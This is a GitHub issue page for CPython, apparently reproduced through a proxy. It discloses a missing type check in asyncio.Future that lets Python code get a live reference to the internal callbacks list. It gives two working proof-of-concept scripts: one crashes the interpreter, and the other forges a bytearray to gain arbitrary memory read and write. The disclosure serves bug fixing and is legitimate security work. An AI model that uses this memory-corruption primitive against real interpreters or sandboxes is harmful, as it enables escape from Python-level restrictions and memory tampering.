Movatterモバイル変換


[0]ホーム

URL:


Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Lack of type checks in asyncio.Future can cause crash or the ability to craft malicious objects #125789

Closed
Labels
3.12only security fixes3.13bugs and security fixes3.14bugs and security fixesextension-modulesC modules in the Modules dirtopic-asynciotype-crashA hard crash of the interpreter, possibly with a core dump
@Nico-Posada

Description

@Nico-Posada

Crash report

What happened?

InModules/_asynciomodule.c the_asyncio_Future_remove_done_callback_impl function has a section where it retrieves an item from a list and then immediately assumes it's a tuple without doing any checks (this issue also exists infuture_schedule_callbacks, but I'll only go over this one for brevity).

staticPyObject*_asyncio_Future_remove_done_callback_impl(FutureObj*self,PyTypeObject*cls,PyObject*fn)/*[clinic end generated code: output=2da35ccabfe41b98 input=c7518709b86fc747]*/{/* code not relevant to the bug ... */// Beware: PyObject_RichCompareBool below may change fut_callbacks.// See GH-97592.for (i=0;self->fut_callbacks!=NULL&&i<PyList_GET_SIZE(self->fut_callbacks);i++) {intret;PyObject*item=PyList_GET_ITEM(self->fut_callbacks,i);Py_INCREF(item);ret=PyObject_RichCompareBool(PyTuple_GET_ITEM(item,0),fn,Py_EQ);if (ret==0) {if (j<len) {PyList_SET_ITEM(newlist,j,item);j++;continue;            }ret=PyList_Append(newlist,item);        }Py_DECREF(item);if (ret<0) {            gotofail;        }    }/* code not relevant to the bug ... */}

We can see that it gets itemi from fut_callbacks and then immediately assumes it's a tuple without doing any checks. This is fine if there's no way for the user to control fut_callbacks, but we can see the Future object has a_callbacks attribute which usesFutureObj_get_callbacks as its getter

staticPyObject*FutureObj_get_callbacks(FutureObj*fut,void*Py_UNUSED(ignored)){asyncio_state*state=get_asyncio_state_by_def((PyObject*)fut);Py_ssize_ti;ENSURE_FUTURE_ALIVE(state,fut)if (fut->fut_callback0==NULL) {if (fut->fut_callbacks==NULL) {Py_RETURN_NONE;        }returnPy_NewRef(fut->fut_callbacks);    }/* code to copy the callbacks list and return it */}

In the rare case thatfut_callback0 is NULL andfut_callbacks isn't, this will actually return the real reference tofut_callbacks allowing us to modify the items in the list to be whatever we want. Here's a short POC to showcase a crash caused by this bug.

importasynciofut=asyncio.Future()classEvil:def__eq__(self,other):globalreal_refreal_ref=fut._callbackspad=lambda: ...fut.add_done_callback(pad)# sets fut->fut_callback0fut.add_done_callback(Evil())# sets first item in fut->fut_callbacks list# removes callback from fut->fut_callback0 setting it to null, but rest of the func checks the other callbacks which can call back to our python code# aka our `__eq__` func letting us retrieve a real refernce to fut->fut_callbacks since fut_callback0 == NULL and fut_callbacks != NULLfut.remove_done_callback(pad)real_ref[0]=0xDEADC0DE# remove_done_callback will traverse all the callbacks in fut->fut_callbacks, meaning it will assume our 0xDEADC0DE int is a tuple and crashfut.remove_done_callback(pad)

And if done carefully, this can be used to craft a malicious bytearray object which can write to anywhere in memory. Here's an example of that which works on 64-bit systems (tested on Windows and Linux)

importasynciofut=asyncio.Future()classEvil:# could split this into 2 different classes so one does the real_ref grab and the other does the mem set but thats boringdef__eq__(self,other):globalreal_ref,memifselfise:real_ref=fut._callbackselse:mem=otherreturnFalsee=Evil()pad=lambda: ...fut.add_done_callback(pad)# sets fut->fut_callback0fut.add_done_callback(e)# sets first item in fut->fut_callbacks list# removes callback from fut->fut_callback0 setting it to null, but rest of the func checks the other callbacks which can call back to our python code# aka our `__eq__` func letting us retrieve a real refernce to fut->fut_callbacks since fut_callback0 == NULL and fut_callbacks != NULLfut.remove_done_callback(pad)# set up fake bytearray objfake= (    (0x123456).to_bytes(8,'little')+id(bytearray).to_bytes(8,'little')+    (2**63-1).to_bytes(8,'little')+    (0).to_bytes(24,'little'))# remove_done_callback will interpret this as a tuple, so it'll grab our fake obj insteadi2f=lambdanum:5e-324*numreal_ref[0]=complex(0,i2f(id(fake)+bytes.__basicsize__-1))# remove_done_callback will traverse all the callbacks in fut->fut_callbacks looking for this obj which will trigger our evil `__eq__` giving us our fake objfut.remove_done_callback(Evil())# doneif"mem"notinglobals():print("Failed")exit()# should be an absurd number like 0x7fffffffffffffffprint(hex(len(mem)))mem[id(250)+int.__basicsize__]=100print(250)# => 100

This can be fixed by making it impossible to get a real reference to the fut->fut_callbacks list, or just doing proper type checking in places where it's used.

CPython versions tested on:

3.11, 3.12, 3.13

Operating systems tested on:

Linux, Windows

Output from running 'python -VV' on the command line:

No response

Linked PRs

Metadata

Metadata

Assignees

No one assigned

    Labels

    3.12only security fixes3.13bugs and security fixes3.14bugs and security fixesextension-modulesC modules in the Modules dirtopic-asynciotype-crashA hard crash of the interpreter, possibly with a core dump

    Projects

    Status

    Done

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions


      [8]ページ先頭

      ©2009-2025 Movatter.jp